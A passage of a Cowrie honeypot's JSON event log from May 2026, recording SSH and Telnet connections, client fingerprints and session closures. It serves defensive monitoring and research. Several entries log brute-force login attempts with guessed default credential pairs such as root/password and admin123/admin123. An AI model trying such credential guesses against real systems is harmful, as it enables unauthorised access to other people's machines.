],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:01.217993Z","src_ip":"31.40.204.166","session":"161cf39c2967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:01.718833Z","src_ip":"31.40.204.166","session":"161cf39c2967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:02.981721Z","src_ip":"31.40.204.166","session":"161cf39c2967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.2165367603302,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:04.590117Z","src_ip":"152.42.224.71","session":"4baf31fcdbc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53000,"dst_ip":"10.17.0.5","dst_port":23,"session":"029ec67a73a5","protocol":"telnet","message":"New connection: 152.42.224.71:53000 (10.17.0.5:23) [session: 029ec67a73a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:04.985376Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38176,"dst_ip":"10.17.0.5","dst_port":23,"session":"da99d13db685","protocol":"telnet","message":"New connection: 152.42.224.71:38176 (10.17.0.5:23) [session: da99d13db685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:06.616418Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38178,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5e93f83c87e","protocol":"telnet","message":"New connection: 152.42.224.71:38178 (10.17.0.5:23) [session: f5e93f83c87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:10.187708Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38192,"dst_ip":"10.17.0.5","dst_port":23,"session":"960b7a40d20b","protocol":"telnet","message":"New connection: 152.42.224.71:38192 (10.17.0.5:23) [session: 960b7a40d20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:12.274611Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60364,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c85cf120273","protocol":"ssh","message":"New connection: 31.40.204.166:60364 (159.203.135.109:22) [session: 6c85cf120273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:12.909983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:12.916790Z","src_ip":"31.40.204.166","session":"6c85cf120273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:13.085195Z","src_ip":"31.40.204.166","session":"6c85cf120273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38202,"dst_ip":"10.17.0.5","dst_port":23,"session":"e844ff8a2627","protocol":"telnet","message":"New connection: 152.42.224.71:38202 (10.17.0.5:23) [session: e844ff8a2627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:13.191839Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:13.581254Z","src_ip":"31.40.204.166","session":"6c85cf120273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38212,"dst_ip":"10.17.0.5","dst_port":23,"session":"104f5bb520af","protocol":"telnet","message":"New connection: 152.42.224.71:38212 (10.17.0.5:23) [session: 104f5bb520af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:14.347146Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:14.718158Z","src_ip":"31.40.204.166","session":"6c85cf120273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.72115659713745,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:16.059210Z","src_ip":"152.42.224.71","session":"bc8a95e7aa94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.95294499397278,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:16.358737Z","src_ip":"152.42.224.71","session":"6da87325ac83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.802000045776367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:16.987964Z","src_ip":"152.42.224.71","session":"8ec2834b3648","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59740,"dst_ip":"10.17.0.5","dst_port":23,"session":"dff94cea6051","protocol":"telnet","message":"New connection: 152.42.224.71:59740 (10.17.0.5:23) [session: dff94cea6051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:20.506266Z"}
{"eventid":"cowrie.session.closed","duration":37.92486095428467,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:21.617737Z","src_ip":"152.42.224.71","session":"5b09fe981b10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":34514,"dst_ip":"159.203.135.109","dst_port":22,"session":"317296fee625","protocol":"ssh","message":"New connection: 103.195.236.96:34514 (159.203.135.109:22) [session: 317296fee625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:23.069354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:23.075154Z","src_ip":"103.195.236.96","session":"317296fee625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:23.317747Z","src_ip":"103.195.236.96","session":"317296fee625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3","message":"login attempt [root/3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:24.066484Z","src_ip":"103.195.236.96","session":"317296fee625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59284,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8799ec97663","protocol":"ssh","message":"New connection: 31.40.204.166:59284 (159.203.135.109:22) [session: f8799ec97663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:24.585370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:24.601478Z","src_ip":"31.40.204.166","session":"f8799ec97663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:24.723382Z","src_ip":"31.40.204.166","session":"f8799ec97663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:25.327309Z","src_ip":"103.195.236.96","session":"317296fee625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:25.387245Z","src_ip":"31.40.204.166","session":"f8799ec97663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:26.520375Z","src_ip":"31.40.204.166","session":"f8799ec97663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.23162579536438,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:27.836614Z","src_ip":"152.42.224.71","session":"9be3046d3807","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44430,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecc85fd37df3","protocol":"telnet","message":"New connection: 152.42.224.71:44430 (10.17.0.5:23) [session: ecc85fd37df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:30.640242Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44440,"dst_ip":"10.17.0.5","dst_port":23,"session":"154aa6df280e","protocol":"telnet","message":"New connection: 152.42.224.71:44440 (10.17.0.5:23) [session: 154aa6df280e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:31.138640Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44456,"dst_ip":"10.17.0.5","dst_port":23,"session":"c20753ed8155","protocol":"telnet","message":"New connection: 152.42.224.71:44456 (10.17.0.5:23) [session: c20753ed8155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:31.263481Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44472,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e20c7d28ecb","protocol":"telnet","message":"New connection: 152.42.224.71:44472 (10.17.0.5:23) [session: 1e20c7d28ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:33.685176Z"}
{"eventid":"cowrie.session.closed","duration":28.51606297492981,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:35.132333Z","src_ip":"152.42.224.71","session":"da99d13db685","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49050,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4d58d634950","protocol":"ssh","message":"New connection: 31.40.204.166:49050 (159.203.135.109:22) [session: d4d58d634950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:36.433300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:36.437874Z","src_ip":"31.40.204.166","session":"d4d58d634950","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:36.798291Z","src_ip":"31.40.204.166","session":"d4d58d634950","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:37.379588Z","src_ip":"31.40.204.166","session":"d4d58d634950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.86903929710388,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:38.454180Z","src_ip":"152.42.224.71","session":"de85cbc9ab58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:38.509004Z","src_ip":"31.40.204.166","session":"d4d58d634950","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36826,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d337f090013","protocol":"telnet","message":"New connection: 152.42.224.71:36826 (10.17.0.5:23) [session: 1d337f090013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:38.738623Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.59.142","src_port":55684,"dst_ip":"10.17.0.5","dst_port":22,"session":"09f8db7e2670","protocol":"ssh","message":"New connection: 118.193.59.142:55684 (10.17.0.5:22) [session: 09f8db7e2670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:44.981058Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:45.677675Z","src_ip":"118.193.59.142","session":"09f8db7e2670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.59.142","src_port":56134,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b4d1ac32cb0","protocol":"ssh","message":"New connection: 118.193.59.142:56134 (10.17.0.5:22) [session: 3b4d1ac32cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:45.830928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:45.843474Z","src_ip":"118.193.59.142","session":"3b4d1ac32cb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"ec9ea89c70f5fc71cf61061bff5e4740","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: ec9ea89c70f5fc71cf61061bff5e4740","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:45.850914Z","src_ip":"118.193.59.142","session":"3b4d1ac32cb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:46.020892Z","src_ip":"118.193.59.142","session":"3b4d1ac32cb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38890,"dst_ip":"10.17.0.5","dst_port":23,"session":"955cbf78220c","protocol":"telnet","message":"New connection: 152.42.224.71:38890 (10.17.0.5:23) [session: 955cbf78220c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:46.333446Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.59.142","src_port":56610,"dst_ip":"10.17.0.5","dst_port":22,"session":"16e710e328e8","protocol":"ssh","message":"New connection: 118.193.59.142:56610 (10.17.0.5:22) [session: 16e710e328e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:47.131964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:47.143008Z","src_ip":"118.193.59.142","session":"16e710e328e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:47.190513Z","src_ip":"118.193.59.142","session":"16e710e328e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:47.317632Z","src_ip":"118.193.59.142","session":"16e710e328e8","protocol":"ssh"}
